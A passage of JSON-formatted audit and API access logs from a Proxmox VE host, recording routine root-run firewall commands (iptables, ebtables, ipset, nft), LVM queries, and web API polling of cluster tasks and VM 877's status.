/api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781964065656,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.656:59446): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965367753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965367.753:65317): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899568f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.159:61691): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685915,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.915:66665): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966250798,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1137"} {"@timestamp":1781964065649,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.649:59445): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965365749,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.749:65314): arch=c000003e syscall=59 success=yes exit=0 a0=5b90082ced30 a1=5b90082dab30 a2=5b90082a8680 a3=5 items=2 ppid=62735 pid=62741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.152:61690): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685905,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.905:66664): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966249786,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781964065644,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.644:59443): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965365741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.741:65313): arch=c000003e syscall=59 success=yes exit=0 a0=5b8fe402aac8 a1=7fff17688160 a2=5b90082a8680 a3=5b8fe400e24e items=2 ppid=62735 pid=62737 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.146:61689): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685896,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.896:66663): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966249786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964065639,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.639:59442): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965365739,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.739:65312): arch=c000003e syscall=59 success=yes exit=0 a0=7fff17688120 a1=5b90082ca3d0 a2=5b90082a8680 a3=5 items=2 ppid=62735 pid=62736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.143:61688): arch=c000003e syscall=59 success=yes exit=0 a0=5ebc7e40f0a0 a1=5ebc7e40be20 a2=5ebc7e3ed680 a3=5 items=2 ppid=59209 pid=59215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685891,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.891:66662): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966247763,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781964065632,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.632:59441): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965365733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.733:65310): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.139:61687): arch=c000003e syscall=59 success=yes exit=0 a0=5ebc6eeddac8 a1=7fff9afd9da0 a2=5ebc7e3ed680 a3=5ebc6eec124e items=2 ppid=59209 pid=59211 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685887,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.887:66661): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966247763,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964065626,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.626:59440): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965365725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.725:65309): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62734 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.139:61686): arch=c000003e syscall=59 success=yes exit=0 a0=7fff9afd9d60 a1=5ebc7e3f4310 a2=5ebc7e3ed680 a3=5 items=2 ppid=59209 pid=59210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685887,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.887:66660): argc=1 a0=\"date\""} {"@timestamp":1781966247763,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964065620,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.620:59439): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965365718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.718:65308): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595134,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.134:61684): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685883,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.883:66658): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966247763,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:26 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964065615,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.615:59438): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965365711,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.711:65307): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595126,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.126:61683): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685871,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.871:66657): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966246766,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781964065609,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.609:59437): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965365703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.703:65306): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62731 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.119:61682): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685862,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.862:66656): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966246766,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964065602,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.602:59436): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965365700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.700:65305): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=63415dd2a740 items=0 ppid=1156 pid=62730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964595114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.114:61681): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b3adb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59206 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685854,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.854:66655): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966244849,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964065598,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.598:59435): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965365695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.695:65304): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ecdf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.107:61680): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685844,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.844:66654): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966244849,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1137"} {"@timestamp":1781964065595,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.595:59434): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965365691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.691:65303): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ba30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.101:61679): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ba4b00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685832,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.832:66653): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966243741,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964065594,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.594:59433): argc=1 a0=\"date\""} {"@timestamp":1781965365685,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.685:65302): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964594964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964594.964:61678): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965684699,"@rawstring":"node=pve type=EXECVE msg=audit(1781965684.699:66652): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966243741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964065590,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.590:59431): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965365679,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.679:65301): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62727 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964594959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964594.959:61675): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965684671,"@rawstring":"node=pve type=EXECVE msg=audit(1781965684.671:66651): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966243741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964065583,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.583:59430): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965365673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.673:65300): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62726 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964594825,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964594.825:61672): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecb970 a1=64f8d73f0cc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965683948,"@rawstring":"node=pve type=EXECVE msg=audit(1781965683.948:66650): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966243741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:22 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964065575,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.575:59429): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965365667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.667:65299): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131740 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62725 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964594787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964594.787:61671): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ddab0 a1=64f8d73df150 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965683940,"@rawstring":"node=pve type=EXECVE msg=audit(1781965683.940:66647): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966242745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1131"} {"@timestamp":1781964065569,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.569:59428): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965365659,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.659:65298): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62724 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964589942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964589.942:61670): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965678930,"@rawstring":"node=pve type=EXECVE msg=audit(1781965678.930:66644): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966241228,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1137"} {"@timestamp":1781964065562,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.562:59427): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965365652,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.652:65297): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964589936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964589.936:61667): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=EXECVE msg=audit(1781965678.921:66641): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966241228,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964065554,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.554:59426): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965365648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.648:65296): arch=c000003e syscall=59 success=yes exit=0 a0=5b61ab260d70 a1=5b61ab26cf40 a2=5b61ab23a680 a3=5 items=2 ppid=62716 pid=62722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586089,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.089:61664): arch=c000003e syscall=59 success=yes exit=0 a0=5fc13d54ee50 a1=5fc13d54bbd0 a2=5fc13d52d680 a3=5 items=2 ppid=59189 pid=59195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675819,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.819:66638): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966241228,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964064574,"@rawstring":"node=pve type=EXECVE msg=audit(1781964064.574:59425): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965365637,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.637:65295): arch=c000003e syscall=59 